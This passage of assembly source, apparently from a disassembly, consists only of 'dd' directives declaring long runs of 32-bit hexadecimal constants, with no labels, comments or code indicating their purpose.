dd 0EDC9B429h, 6AF81F5Dh, 6318ABC2h, 0EDD4E112h, 0AC639C89h
dd 412FB734h, 4CA1F067h, 0B1D4264Bh, 0B8CF3F9h, 0D5986636h
dd 0C728449Dh, 87051BAFh, 43A4D38Bh, 95DDAC43h, 0A2984D2Ah
dd 3D40C6E7h, 8C0638E0h, 0AA0F6250h, 0B68B6823h, 0CAA2A05Bh
dd 806817F8h, 5BE6C8ADh, 0E84914E5h, 56275875h, 495AF566h
dd 7CCC462Eh, 0F6C78C4Bh, 6D3BE8Ah, 0B43DEC84h, 5072AFE2h
dd 0F4580CB3h, 0AA1CE32Bh, 0A8268BD0h, 0F035EDEFh, 5CF5903Ah
dd 890672BBh, 30C9A42Dh, 0EA0BCCB3h, 7F628FA3h, 8362777Dh
dd 8A3E0DD0h, 996120F3h, 71A35D61h, 3A6682B4h, 0B4AB60A9h
dd 655AB836h, 7157BA6Ch, 0D1202BAEh, 1CCC8A72h, 0E834FCF0h
dd 0CAEE9075h, 9C24C243h, 0C6F745DAh, 1905A14Eh, 83C17AACh
dd 7A652120h, 0A53BE380h, 0E29280FAh, 8FF42361h, 3033E545h
dd 8776B6DBh, 0E1723C17h, 5F04A8AFh, 0EDA1ED2Ah, 0F9D95238h
dd 686389D0h, 2DF950B1h, 0FBA8D517h, 78B31D63h, 0A4C90971h
dd 0BA01865h, 2021862Fh, 0B468D021h, 0EB72935Eh, 8EBF427Eh
dd 0A9D2401Ch, 6B62B289h, 0DD92AA6Bh, 42709EFBh, 0C97ADEFAh
dd 0AB1CBB2Eh, 43E46A6h, 803E756Ah, 0F810265Bh, 5EDABC34h
dd 1230B2A1h, 52707341h, 7A6BFA40h, 0CBBE7A93h, 0FFC143Ch
dd 74F9ED0Dh, 2D1234EDh, 7E05BECDh, 27C663B2h, 0CEE27D00h
dd 0EA41AA22h, 58867859h, 0AC11DF6h, 0AAFB84E0h, 0CA8299FFh
dd 0AC1D4694h, 3ABDEFABh, 65015CBEh, 124E78DCh, 7EA3F329h
dd 8C62D5Bh, 99FA64CCh, 0DAB48067h, 0AF453086h, 4E5C6183h
dd 105361DFh, 573C3AF9h, 0C25321A6h, 4FBDB63Bh, 0B7A94086h
dd 771182D8h, 266FD3EEh, 0F12BF075h, 0B1D8A48Dh, 0FB16343Ah
dd 3A08D967h, 0AEFA4843h, 4CC31852h, 0D847D686h, 0F0E9AF5h
dd 2EE0D1E6h, 0BBE81D4Bh, 26C37B0Dh, 16C538Bh, 912C97C0h
dd 0B155D012h, 0DC839AC9h, 4F529FFBh, 0BA51B031h, 0E1A69468h
dd 120B6C4Fh, 2F64B5C8h, 0B3679F92h, 58D7992h, 3A0F6F0Dh
dd 0CC5AC3B1h, 795DB665h, 0AC30A178h, 0B585AC84h, 85D21A10h
dd 0E952EAEEh, 5C0746DDh, 0A142E4DAh, 0FDFB8483h, 0B53D9FCFh
dd 4B46FDE7h, 28E2BC43h, 0A7F96F7Ch, 34AC718Bh, 0B74148E8h
dd 9AFEF864h, 75267B17h, 6E0A9769h, 7F83A537h, 0B25E8433h
dd 8DBC2073h, 0DCAAD0F1h, 0A2C47591h, 2B92A03Ah, 30A91E6h
dd 52A8A425h, 18705930h, 86E4267Ch, 4A052E53h, 0BBF61239h
dd 0A77DF56Fh, 9F80ABh, 9EC381BFh, 0DA0CCA5Fh, 9887882Fh
dd 4ADF3122h, 326F6BBDh, 668C2736h, 0E909DCCAh, 1DE7A234h
dd 560D3BBh, 13DAE392h, 6E33D1B3h, 6D701B4h, 0F6624D3Bh
dd 4449F4B5h, 0B3364AAAh, 2468F066h, 9E5F142Eh, 81D1B7B8h
dd 0F278C458h, 261A0B3Dh, 0D973F40Bh, 3B06615Ah, 0D7E36FDAh
dd 90B9F055h, 0EC7CE13Ah, 6D1BCC89h, 59133642h, 0E45D1B85h
dd 6C6CE855h, 0CBADC6E4h, 0BC858325h, 67452662h, 44CC272Bh
dd 43DFC045h, 5509ED8Ah, 1DA6C3Bh, 0DF30143h, 0E3641F8Bh
dd 57F4ADFBh, 2CF3EFCCh, 2578B82Eh, 0C38D5BACh, 16C569E2h
dd 0F35E754Fh, 3FEC31B4h, 0F079260Eh, 96CD3EBBh, 72E4C810h
dd 0E4780266h, 0F46655A3h, 9F1A4C0Dh, 3F046DEDh, 5C53D676h
dd 2A7153Dh, 32F50A23h, 0C534F03Ah, 1CFFEC2Bh, 1D2EE0FCh
dd 75F6F5AEh, 0B507F5DDh, 9325A20Dh, 0A8EB5050h, 4200C96Ah
dd 8E432B0Bh, 5726F62Bh, 0A2384776h, 0C417E910h, 903824D2h
dd 0B5C3B219h, 0EE412AFDh, 0D1B9E816h, 4D66B0C8h, 0B1227D2Fh
dd 0DA67417Dh, 3D9FBD1Dh, 29E49570h, 2F23874Eh, 422B34E5h
dd 988D9640h, 8314530Ch, 708C9C55h, 0D3A8D657h, 0BFE5B1D7h
dd 6D003178h, 0F2A49964h, 0DDC22A1Fh, 2BDE0FE0h, 6B315E5Ch
dd 37414BB5h, 4D596316h, 0B4F6A0DBh, 8B62FC4Fh, 14C5A6A3h
dd 0C221441Bh, 68F5989Eh, 1504C769h, 538C612h, 8A7B6E36h
dd 20EC16B1h, 226F7EC1h, 2D646DFh, 0EDB98CE9h, 0E49A5134h
dd 0C7360765h, 365B2689h, 9B7C7547h, 799B1DA1h, 48D13C1Fh
dd 2EEB451h, 8ED2E345h, 43796178h, 0FA998699h, 860C7F0Eh
dd 90FAD364h, 0F4E21CBh, 58C4141Ch, 9D17CBF0h, 7769BD0Dh
dd 0ABF18F42h, 0A368C03Bh, 2FB9066h, 0B340B411h, 0CD9BAC8Eh
dd 47B5BE00h, 9D7BA947h, 0DC36ACD2h, 9C2C4583h, 8EF79446h
dd 0FB9BBAEAh, 0BCA5343Ah, 7FC8C9C6h, 0B40D184Ah, 0C3EA0384h
dd 0F26B34DBh, 0ACF10EFEh, 83F347A6h, 2AA6202Fh, 3ABED91Eh
dd 0A35F9E70h, 9D110224h, 0E30836F5h, 8694EC57h, 0E44459A1h
dd 0E9271067h, 0E7D718B2h, 0AAA367FFh, 9EFF86D6h, 1FA73D96h
dd 0EDF45F9Ch, 6F029670h, 0B9375C08h, 7941AA82h, 73A6631Eh
dd 0F6B131D8h, 5B382CDDh, 9D4B5DAh, 0C091ADB4h, 23D67CEFh
dd 3F1ED49Ah, 1FBF3D6h, 51C80402h, 0AA8DEBA8h, 0A643416h
dd 7ACC0015h, 54626C44h, 96BDFB28h, 93A7CFB0h, 9747E571h
dd 5A44BC1Dh, 24D51EA9h, 0DDD8EAC9h, 79437D5Fh, 0D3E9DCAFh
dd 0BD4DF80Dh, 0FD503B8Eh, 9673E3D9h, 0F655A04Bh, 514C4535h
dd 0C6FE98EEh, 5BA307E6h, 82A3451Ah, 0E70FECE4h, 5C0F60F1h
dd 0EABDCC9Ah, 3057AE43h, 0B8D51720h, 499AE00h, 59C67D93h
dd 781E430Ch, 8B3F1096h, 475D83FDh, 1AF08AA4h, 983BE054h
dd 47EBE404h, 0C9CAD321h, 0EC81C7FBh, 0CB281A9h, 0D26AEF6Bh
dd 9BC3B826h, 1CC3AA11h, 953EFEA0h, 0EE42F7C3h, 23B0B8C3h
dd 3409801Fh, 0F648BA4Fh, 9EB47007h, 95A41A85h, 0E03B9A82h
dd 0DBD5D5A2h, 541B4380h, 2DEDC147h, 15B973Dh, 7D3988E2h
dd 6500E9FFh, 1E6413FAh, 0EEA9DF51h, 813B0CD9h, 0DAFA0001h
dd 4C858AA2h, 0F7D47094h, 0AB806C82h, 10B71252h, 8F6F0276h
dd 0EDA007A5h, 3CE7AB97h, 79222E1Fh, 0F2531693h, 5729E108h
dd 27110872h, 80E52DCCh, 0E7833A92h, 7FCA9EACh, 0C518D758h
dd 770FB675h, 0FBD4EF3Eh, 6DD0CACEh, 0EAC76577h, 0B9D9D281h
dd 0D1C3D0B0h, 0C33AE9B7h, 0C9AFBCADh, 15A45D86h, 760DABBDh
dd 0D32D4957h, 51FD6FA0h, 480C3217h, 0BF6E3CFh, 0D44D4D12h
dd 14632B66h, 625A63FEh, 4318864Ch, 26956F37h, 0F76A6257h
dd 0D0458B5h, 0D6C011AAh, 1635C661h, 85A23D70h, 925FCD0Eh
dd 619399C5h, 57BCDF71h, 57AD0A38h, 1E2DF8A8h, 25F18124h
dd 2F27D97Ah, 5688E886h, 1118A8FBh, 81630479h, 5DB2F234h
dd 66AB8D98h, 0C66EC83Dh, 2530E993h, 7AA80D67h, 0EBF16D9Fh
dd 3F52B59Ah, 82E9919Ah, 412E34A0h, 17F6AB6Dh, 0B094C27Bh
dd 9C443655h, 26D0F7E9h, 0A6F2F3A0h, 38DD7E2Ch, 0B9821E84h
dd 0E99970DFh, 6BDB820Fh, 2AEB6F3Ch, 457E397Ah, 0FFC94079h
dd 0FC3B9427h, 267F2B88h
dd 0B9FC199Ah, 3CA02C05h, 0F43191EFh, 0ED633FA6h, 0DFAD815Ch
dd 0CF05D524h, 1E34501Dh, 0B64B998h, 881B2F6Dh, 0CD37F696h
dd 0A2348B66h, 0FC78F293h, 45DCA5A7h, 0D0722C35h, 0B6ADB60Eh
dd 0EC20A6E2h, 8D460B5Fh, 155FBBA6h, 81F99D96h, 0C010757Eh
dd 7B6DA669h, 0A384D407h, 0CF510F27h, 8D2B4C49h, 558C948h
dd 6FF75A4Ch, 21BBC2B7h, 5FA6415Ah, 0ABD1B1A6h, 0FFDAC6A6h
dd 0E7F0098Dh, 0C177FF5Ch, 2C4667C4h, 0DA9741A6h, 0F2E48DFFh
dd 3E288638h, 0C9BA5DBAh, 1B1C2543h, 0C4348ECDh, 0D1C89F67h
dd 822B0266h, 3A20768Ah, 5BEFE4D2h, 0D33C6224h, 0DCF49082h
dd 0F1319631h, 8B637ACh, 0E45B80ACh, 0D7FE0FE6h, 4256E859h
dd 61D094E3h, 9B77DBDBh, 0F4E9FB32h, 0F2EF6CD3h, 62702C65h
dd 5B88FDF7h, 8EC2E116h, 64D32CEDh, 0BBBBF5CEh, 92338F91h
dd 0C5E9A403h, 924437A1h, 0F896711Eh, 0C78D0FC0h, 0DD45ED02h
dd 22B3EA15h, 2F3B4AD9h, 55F0C9E8h, 40D889C9h, 8A5F3F2Bh
dd 8F53CE00h, 4E840831h, 0A7C1974Bh, 581F6F22h, 0D89809AEh
dd 445424E2h, 0BCF10536h, 0D4C1944Fh, 0F773F1E8h, 4847A1BDh
dd 747AFEACh, 50695B07h, 1D8509C6h, 51D494DBh, 0BC4BAB42h
dd 4CF49C9Bh, 3B475BEAh, 4FCF0822h, 0C3A4FBBCh, 6CE725C5h
dd 8FEEB3C4h, 4B416D41h, 2E38EFDBh, 3BC6B626h, 2D07F963h
dd 0A7FD3B6Eh, 0F27E614h, 6D27839h, 0B155F3A1h, 0A304E7C0h
dd 0CA87A232h, 0A72B1FE0h, 1F724F7Fh, 94B91E1Bh, 0C43D6BC8h
dd 5CBBCFF5h, 311BDACCh, 7E7C0316h, 0FC45F9C0h, 45673924h
dd 45F8FAABh, 81C0D5F5h, 0DFDEF91Fh, 73800406h, 9D5A359h
dd 0B34D10B6h, 5C7EC744h, 8DD840A9h, 394EAEAAh, 0AB9318Bh
dd 9E4BF5C2h, 74079DCDh, 0FC392C64h, 0B7B91E3Eh, 42F66928h
dd 45C981E8h, 0FBC36FEBh, 155C52ADh, 7B74BA3Eh, 0ED067E8Ch
dd 0F69C41C0h, 0F88A76BEh, 6CDCF67Ah, 0A01C35F1h, 646B9075h
dd 0CDA6A9C7h, 0A6E83C54h, 2754795h, 0B2D07C63h, 9C7480A9h
dd 0C8BDA8EBh, 55142345h, 9305920h, 5638F12Ch, 0C9E10A77h
dd 0C65BB127h, 55C729EAh, 7B07A58Fh, 756BB211h, 20F40FA7h
dd 0E5A87CDDh, 2FFB5AF2h, 4ACA7394h, 2040103Eh, 0BC41B8C1h
dd 0ABE4A979h, 7D2C9F6Eh, 0D16CCDECh, 0E17493FCh, 0C9A2937Ah
dd 5865F5BEh, 0E245F354h, 5157DB92h, 0BFDDEB17h, 0FB8C2042h
dd 2624C8E1h, 0FE293F36h, 94E6AD0Dh, 1CB1B3A7h, 0E0BA1A75h
dd 6A2C1F81h, 0E64D71BEh, 0F89BF1DAh, 603C932Bh, 1166A157h
dd 0EA6E8B5Dh, 2373E2EDh, 52535A9Eh, 0C7D9F3Dh, 6E60CBA9h
dd 0FA4E8081h, 9603C856h, 0F13A96AEh, 9DAF380Dh, 4C111F45h
dd 8862BBDDh, 0B7211474h, 0FE879CA6h, 7A032C90h, 0DE0ADF3Ch
dd 0CBAE6CD7h, 8F850058h, 0A25C9F17h, 8CFF808Fh, 9CD5BA14h
dd 0B6CD34A0h, 0A19779BBh, 5348CCCFh, 377108B8h, 0C847B443h
dd 4EB3CA17h, 0E86DEB8Dh, 0A8A02ECEh, 0A8EFB11Dh, 0D03949BBh
dd 64172A96h, 0A8ED0AB9h, 570F1352h, 0CDA8430Eh, 0EF9662Eh
dd 0E9C7880h, 0B08CBA03h, 9427FC72h, 4890DBC8h, 0FABC5B73h
dd 0FF7E3CDFh, 0F99E903Fh, 26BC1917h, 95616D5Eh, 6A7C1732h
dd 0BBE3228Eh, 0E87D0430h, 8E56B777h, 658D3F6Ah, 0C5B0A504h
dd 0AC7ADB10h, 94A0E266h, 50C03663h, 20C4C610h, 57CADAC1h
dd 0D19B7EE0h, 589ED4Ah, 21A53177h, 9145D922h, 337F75B2h
dd 106B7E1Ch, 742C3D89h, 0C8C64494h, 0F8EFEC2Ch, 0C953830Dh
dd 63A1B294h, 0B7732DCAh, 0E7B008Ch, 0A5552E78h, 0A911B065h
dd 2929ECE6h, 23E8EFBEh, 24D83CEAh, 0F26C5806h, 40C466A6h
dd 89E5A1FAh, 516B826Bh, 0E9E3E3EEh, 0B91532D9h, 7437A56h
dd 0F95C1C3Eh, 0E556843Ah, 33A6272Fh, 0CE5D5CEh, 9CB70074h
dd 80F15F82h, 0D8C3301h, 7E04E69h, 85922B6Dh, 4043BE21h
dd 7E4CF441h, 52BD88F9h, 0B1FFC824h, 80A7014Ch, 16A7C9C3h
dd 0DD2D07C1h, 9CACCBA2h, 178E0E51h, 0DEBCC754h, 0A5A31830h
dd 71929BDEh, 4AD96AF7h, 0AE7056F9h, 0AADF99B7h, 23A179FFh
dd 862D8519h, 0F6831E83h, 518A18E3h, 4DDDCCECh, 0C0366B15h
dd 0E0B78905h, 9587A1F5h, 0DA3FB0EDh, 36F22033h, 0E6D72B72h
dd 2423BBFDh, 0DF7304D5h, 90EFDCC0h, 0E8B49A09h, 0DCAEFBFh
dd 5B06796Ch, 0CC6A4B34h, 0CC630A1Ah, 4B45D8C1h, 38AF4C36h
dd 50F663FBh, 2F1927D3h, 0CDF0F1C8h, 0F52D66Ah, 5C3A286Bh
dd 537E24D3h, 8FCEA2AAh, 4E7527F5h, 45CFDFF4h, 0BB11956Bh
dd 0C4BCE842h, 360146CEh, 320FBFC5h, 0B91AE158h, 2CEE1CDh
dd 7974518Dh, 89B7F4C2h, 0A12E73DFh, 0C78A0F79h, 9BB27F38h
dd 0B0A64D39h, 84B1905Ah, 0F6AF0539h, 0E45FA11Bh, 24665858h
dd 8F5B16B4h, 421675E0h, 1B455AA8h, 9788839Bh, 0C6CD536Eh
dd 0B78B8C7Ah, 53038B31h, 0CA31172Eh, 0A146E07Fh, 71C4D1AEh
dd 94A580C2h, 41610D43h, 3AE5720Dh, 46CAF97h, 9E61C70Fh
dd 0B75D1C7Bh, 2EFE73DFh, 0E208F785h, 0E4CBFABDh, 47E23A83h
dd 523757BDh, 94C8910Ch, 9C4D6693h, 5FF326A2h, 4A69F7E4h
dd 7D1C2B80h, 46B938AAh, 0B4F62E69h, 2D7EA9C1h, 0EA190BF8h
dd 68B210AEh, 0B447C04Bh, 9746FF08h, 0DC9626FCh, 98A9D1Fh
dd 0D11CA3CFh, 0AEBA70AFh, 1BB39EF8h, 4179DEDDh, 4938AE35h
dd 0B6C3C5CDh, 0F7D159E7h, 6ED962EAh, 4DD3A747h, 1FE4108Eh
dd 0AE612663h, 0BCBAFFF6h, 287D1953h, 0CF51E659h, 0A3855BD4h
dd 2942F2A9h, 24720D6Ah, 2DD0DE38h, 0C10C0155h, 606154E4h
dd 88CCF217h, 0BC1F274Bh, 7E6FF6C5h, 4AEA5332h, 7DFD7AF1h
dd 5823C3CAh, 6DDBA43Ch, 5B2A27FCh, 2AB765C1h, 0D4BEFDAFh
dd 44804CB3h, 228ACC95h, 46D35957h, 50848ACDh, 9FC78197h
dd 596BCF5Bh, 0B3A3F13Eh, 912C2A7Dh, 76C4B60h, 0B2F94EEFh
dd 0B3CE0F79h, 0AE0EA983h, 0DAEB6FD9h, 0C0AFED65h, 4D780ADBh
dd 0B6A49401h, 0F101960Ah, 650416E0h, 0F5BE5DC4h, 0C045FD39h
dd 0DA1C21D0h, 17E00198h, 320CA113h, 0D7E31EBBh, 8B8B57BFh
dd 6392A7Dh, 0D7F92AEBh, 6D2D01A0h, 32102017h, 0D18A97FBh
dd 695B3806h, 84893FAEh, 0C03080CCh, 0E69B60E3h, 443D5DE8h
dd 0F1CF04ACh, 0D78F989Dh, 60DF29DDh, 3842BFADh, 0D7A3B91Fh
dd 0DA23F07Ah, 483B60A4h, 4241F39Ch, 64499A66h, 64824128h
dd 8A2CB173h, 0BB3CEF8Bh, 0C373DB14h, 0EF02760Dh, 0D8B72943h
dd 821F5885h, 49C955C1h, 97C3B32h, 8EECB880h, 450A92E3h
dd 0F70DB102h, 98707496h, 0A7F180B6h, 0F6EE4AECh, 0A58C6AFFh
dd 99EB2384h, 66D04E47h, 8B9DB507h, 5FA0CE20h, 8450025Ah
dd 24CED4A2h, 0D12C5B3Ah, 9767C197h, 85232E78h, 4BBF7980h
dd 0E276AB49h, 55C6E9CDh, 0BF6A28C8h, 33CB40B7h, 38172BB2h
dd 3749419Ah, 70F6F4A2h, 76A7C8B6h, 0EC3357D7h, 0F4E609ADh
dd 3B930E78h, 31F5815Bh, 1C4B6299h, 30CB4DBBh, 49762314h
dd 285E2FB9h, 0AE5C97CFh, 72BE213h, 18EA64B6h, 0AFE7D9Eh
dd 0E715797Fh, 0BB28D6BFh, 4BCAA620h, 517CE26Dh, 86FCAFBFh
dd 2913CC25h, 146FB1C9h, 0DCAC549Fh, 0BF12716Ah, 0F28AC359h
dd 52B7226Bh, 0EF290573h, 0B3ED60EFh, 0D5747262h, 9613594h
dd 0BCE16EDDh, 3EE5429Ch, 45879E98h, 210C361Ch, 2A703703h
dd 2BF92E21h, 6BD1D14h, 56AE8DB6h, 0EE57304Bh, 6FB31785h
dd 0C21D4B0Ah, 0E4A80A03h, 786EB5C2h, 0CBC93FAFh, 459DDAF9h
dd 0C48DA26Fh, 86523550h
dd 0AB50A6B8h, 0AB46364Dh, 0D5EC2381h, 0AFB7D30h, 0EB7A7CF0h
dd 1FBBE347h, 852AFD13h, 4DDA6746h, 0C26C3D36h, 890A188Ch
dd 0FF916260h, 0EB7FE322h, 0D5B9FB7Dh, 0B855FEF7h, 0F54F166Ch
dd 0ADF917BBh, 7B4B2E4Fh, 0BFD742FFh, 73F438D2h, 96074610h
dd 0BCB5E65Dh, 183A43B2h, 0C8461A6Ah, 27F25289h, 958276DFh
dd 517FF1E1h, 56BB9697h, 0C01E71Fh, 36079EAFh, 273B5A25h
dd 51D94EEDh, 80662041h, 81816DE2h, 95B06A95h, 5D65F3D4h
dd 4960D38Bh, 0F5FA1D4Dh, 0E49C2643h, 0F7B117FAh, 3B716941h
dd 0D67CBCDAh, 5D1FCCF0h, 1BB5CD0h, 3D1F608Ah, 0ED1E0691h
dd 0AD2F12BEh, 0C402E937h, 907E6FE6h, 9F387E9Fh, 0C014DE08h
dd 0AFFE8878h, 113FE904h, 0FAB8006h, 0EC884201h, 0DAFAEAh
dd 0D6E6083Bh, 9F7CD7AEh, 0A302AA60h, 56009F61h, 3A3F882Ah
dd 0AE139C43h, 2CDAFF13h, 226281A7h, 67BC6975h, 283AB5E1h
dd 11BC3208h, 35135F8Dh, 48286D6h, 4FDFC2C1h, 0FF94EB7Eh
dd 1BF57D90h, 8DCA956Ch, 0AAFAAE3Fh, 119B53DFh, 62F4D5BFh
dd 0A8CFE52Ah, 6DF73A7Fh, 7A5CC80Dh, 95CB172Fh, 0A365566Eh
dd 5B993D52h, 6AC7955Ch, 65A711C9h, 0C0A18C03h, 669ED121h
dd 0BB7CC946h, 353166AFh, 655F980Ch, 0B32269FCh, 0FE890B27h
dd 0DF139193h, 847E08FCh, 45DD641Bh, 0C6BDCA6Eh, 976498CBh
dd 60FE72C2h, 7806A3A5h, 229E935Bh, 7E4B8007h, 17A26D6Ah
dd 0A03F3F4Ch, 1B69C340h, 24282E64h, 0C2CD01D0h, 9BD6B6A4h
dd 48624CB7h, 0E0A28E92h, 0A495F7F9h, 911FA0DBh, 0D6272569h
dd 0CEE8795Ch, 84FDF45Eh, 9ED772EBh, 0EAFA48C0h, 50F305A5h
dd 0BC9B47D7h, 0D528E942h, 0FF608313h, 8F988A2Ah, 1948F0A9h
dd 0C67BE593h, 866A8A73h, 69E3D0CEh, 505D8F53h, 898623DCh
dd 3ACE4F16h, 0C2723595h, 422551ACh, 0F8BD79F8h, 684636CDh
dd 22D56CD3h, 6127DDA5h, 0E888F7Ah, 1EB35E01h, 0C796A5Eh
dd 0BF735BB6h, 7EBD34ABh, 0B8E0932Fh, 266181FDh, 0F8DFB5CEh
dd 67781374h, 8B6D5704h, 0D613A15Bh, 9258CF45h, 0D7285CB8h
dd 1CB80D38h, 0D22B53FEh, 0A02169C4h, 2EBFDF5Fh, 78B2DEF8h
dd 9A5AE7B4h, 79F22893h, 5345CABh, 0F2C978ECh, 0D766ED2Dh
dd 957385Eh, 9A9884B8h, 4C4EE086h, 700D70D4h, 693EB4AAh
dd 3FCBA560h, 0AC26695Ah, 329DE33h, 334B0294h, 0A4558261h
dd 886832B3h, 0BDF4C423h, 2C2E841Ah, 4A5D84EAh, 20A9AA43h
dd 46CB3D6Fh, 89E44ABEh, 0E748D377h, 0A79AA023h, 5226A04Fh
dd 0B20CB6C5h, 73F2C4E9h, 0B0CADE4h, 69E1282Dh, 40CAAA5Bh
dd 19C2121h, 2DA45B4Ch, 58EEEAC6h, 21B45ACFh, 85B964B7h
dd 0E013279Bh, 0CD1A0AA7h, 0E2372122h, 2CB41F4Ch, 674527E1h
dd 0B07370D8h, 0F298265Ah, 0CB026743h, 0F737C5E0h, 0EFFDD890h
dd 0C82FA07Bh, 9B97BF23h, 80224A11h, 99C48E70h, 0E01EE8Ah
dd 0EBEE29B5h, 0D20067B6h, 0EA19C680h, 16DB6863h, 1358C15h
dd 53298CDh, 18579F4Bh, 0D1B56280h, 0FCAAF422h, 48D3C6C8h
dd 14B6A629h, 70AD57B9h, 9ED14D1Dh, 0D52F6550h, 0E0744B41h
dd 0D754441Bh, 0A1B19D5Ch, 0CC20455Fh, 28CF5EC5h, 9C022A1Eh
dd 78D62B69h, 3169AC05h, 9AA97BBAh, 0C3C10354h, 8CF82ABFh
dd 5FACA408h, 0F7ABCEEFh, 5CBB34A9h, 0BD09DE25h, 83522DB8h
dd 6914247Fh, 932EEB1Bh, 219525A0h, 0B72CA7F1h, 0E6EE56C8h
dd 0C5484E09h, 0CF8E7467h, 481995FCh, 3B186645h, 0D1E3F968h
dd 9EAFAA1Ch, 352EDA5Dh, 5158FC4Dh, 890B6158h, 3F3DC6EBh
dd 0CE733043h, 9835FD3Bh, 939BCA44h, 6AFB21A9h, 0D06F5BE1h
dd 0D470EB62h, 40E4FC0Eh, 84453649h, 0CEAB2C94h, 1FF88C84h
dd 2BADE5Eh, 0BFDD6421h, 0A8B1D913h, 3346B354h, 0BACDE747h
dd 922C88D1h, 0E8649ECBh, 0CB9957C8h, 4CF250EBh, 0A5E00674h
dd 62CF97A3h, 8F1A8C2Ch, 5506F16Dh, 0AA3D3EEh, 0F80DDE1Ah
dd 6FEFAC56h, 0DF240A54h, 0CB0B0742h, 48F9B87Dh, 0F08F0630h
dd 1940140Fh, 638BF452h, 165CBD4Dh, 332206A2h, 94405499h
dd 0C10C65DCh, 2323543Ah, 0ADE79B71h, 0BEFBEFF1h, 0B20E87Dh
dd 0C655D539h, 7FC9586Eh, 0C425502Ah, 2731EFBDh, 1C05188Ah
dd 801E8FE7h, 0B811623Eh, 391E7A74h, 0AFDC4BD8h, 50DA9033h
dd 0D8025D49h, 0C800BCE0h, 0F8C8F8BFh, 0FF838E56h, 988B4E63h
dd 2030F7AAh, 0BF47B80Bh, 0C1E6E554h, 0DFAC13Dh, 0E834F40Bh
dd 4DCD5964h, 0AFE74473h, 16FD3E8Dh, 277E0903h, 5AD6747Fh
dd 1ED9F6FDh, 0F98D64C5h, 5B790A7Dh, 2F6A0094h, 7AB6CAFDh
dd 3376C830h, 50CB526Fh, 24D364DAh, 0BAAC39C8h, 0F4A598C9h
dd 30CEC4D6h, 111FDD05h, 0D63D6A54h, 7A6CAF77h, 0B5E9A01Bh
dd 17E2169Ah, 3E81B9FAh, 34612C45h, 36ACF420h, 6238B9B2h
dd 0D67D302Bh, 0ADDA17B9h, 3B03565Eh, 0A3306A66h, 5A060107h
dd 372E600h, 0C7509B6Dh, 628122E6h, 84EDCFC4h, 0A5CF1C11h
dd 0B2F72587h, 5AF61864h, 1EDF3041h, 26A71A0Dh, 48BF4C43h
dd 0B92E9BA0h, 3FD9C9AEh, 8AC1D46Ch, 0BE1F2AE7h, 67BE95D3h
dd 23DFAB3Fh, 0B81FC4C1h, 12D36CA3h, 0A4014928h, 5A3E51A6h
dd 4401B3EEh, 0F7468A37h, 0E9DC5616h, 38229E89h, 9DD2E4C7h
dd 0B55608FAh, 2A83CA4Bh, 9FC9C304h, 9A67D5DFh, 90A6E694h
dd 0FDD4FAEh, 228C9435h, 925AAF4Fh, 0E10A5E90h, 0F046D85Eh
dd 925C1972h, 93A3BCDDh, 465A0DCAh, 0DE157BA4h, 3A113154h
dd 8A6847C5h, 915976DDh, 0D7CA0810h, 0B795CF62h, 0EEEF9611h
dd 0B3A5028Eh, 0F2C53B86h, 3F92154h, 0AB206712h, 515F3558h
dd 0C339C5Bh, 7AC6CF64h, 85CCB274h, 83A01249h, 0C3C2C87Ah
dd 8306A99Dh, 1B9E7DCEh, 0BEC35241h, 4469C353h, 8696A7FEh
dd 71B2600Fh, 423127C5h, 7224EF3Dh, 8D7C43E6h, 0FE3EBE6Ch
dd 0C97C0851h, 0CB2EF6D0h, 0D6A752E4h, 7D4E45D6h, 90E4FE6Eh
dd 6EBFC088h, 4412D76h, 6A937264h, 2AC145C7h, 97DD3B0Dh
dd 0E152049Ah, 7B4CC383h, 0B855BE27h, 0F7076F1Eh, 0C62E7F4Bh
dd 0F02E5F53h, 34A760EAh, 4AA8FF5Bh, 0CDEC6C89h, 0E5AA69E1h
dd 0E971164Fh, 9CC34691h, 0F28C0E8Eh, 8EC463BFh, 0BF4C2D28h
dd 0E75D2016h, 65CD4CEEh, 0AAC13030h, 95E7C081h, 0AC359049h
dd 0B0C7607h, 0E560CFF4h, 340CAD4Eh, 0A89A178Eh, 2A23E8A6h
dd 5DFEA911h, 5380BF76h, 0ADB315h, 0F1A993E6h, 0C9B99574h
dd 0C3CB0A97h, 0BA1E6172h, 0F08A918Bh, 0B48C5768h, 54D76957h
dd 75B7C23Ch, 1696B4AFh, 0AC7DDC6h, 1DD40F23h, 0EF29D8B6h
dd 0DA133666h, 0C5D16666h, 4B5B2175h, 615DF599h, 8ED5B1E8h
dd 848C450Eh, 31DF01EFh, 8D5FFAAFh, 6552381h, 0C0A0D594h
dd 0F418A7E1h, 74EC713Eh, 529F5855h, 48FBA4D6h, 0A6FB0F1h
dd 176A5706h, 0DF9EAE5Dh, 0B37232D1h, 0AEA32C9Ah, 0DA86D6CBh
dd 0B6CCCC59h, 2B79413Ch, 0FF5FC410h, 605C426Bh, 5CBE50F1h
dd 4EF06E9Eh, 0AF6C1E45h, 85968239h, 50AA8AA6h, 0C599B7BCh
dd 2DA26888h, 0D874A5CFh, 0D8A0FFF8h, 0F261B8F8h, 0A3D0F273h
dd 4D5F4475h, 0A10B03E7h, 8173E491h, 2CC46F56h, 0D241783Dh
dd 803E1982h, 0D8524094h, 205BC041h, 0FEB95385h, 4CDDC2A2h
dd 97D1F601h, 0A229BAB0h, 0BBA19013h, 790C0F2Eh, 5EA52E87h
dd 0A779E16Dh, 0F3B8C4BEh, 7926725Fh, 0A9D12901h, 8E2FD605h
dd 3302142Fh, 5B014CE8h, 0C037482Dh, 0D345C305h, 0D4708463h
dd 0AEB9E97Fh, 38501141h
dd 9D73C0DAh, 0EB3EED50h, 0C0C27D77h, 5F549914h, 86114A01h
dd 0CF686740h, 0EF186877h, 852174A9h, 0EEC29E96h, 2D58C3A0h
dd 2F5ED190h, 3E23D920h, 0A0A3604Dh, 93393233h, 0B2EB6F8Dh
dd 0E8F678F0h, 76F11368h, 0EA857962h, 0C9141063h, 0F16E0376h
dd 6EF7D45Dh, 0F447E2E2h, 0E8E1684Bh, 8F9DAA87h, 5CDFFBACh
dd 0E8AC6EAh, 714E923h, 1BA4D4B6h, 26C1A52Dh, 780BDFFBh
dd 221862D3h, 160E3914h, 430FED71h, 0A8B7999Eh, 53BBB079h
dd 62E22FBFh, 818FDBEDh, 0DCB44AF6h, 82B0F495h, 6CFF20E9h
dd 668B8FA3h, 1FA4DF14h, 0D4336734h, 1ACFF4C1h, 0C587BB23h
dd 0E5E99B5Eh, 3D9FB3CFh, 34A82667h, 1D58B1CBh, 412291Fh
dd 0F9C074E2h, 0CD0F62BFh, 33D1F35Bh, 4E5B5540h, 92A2ECB4h
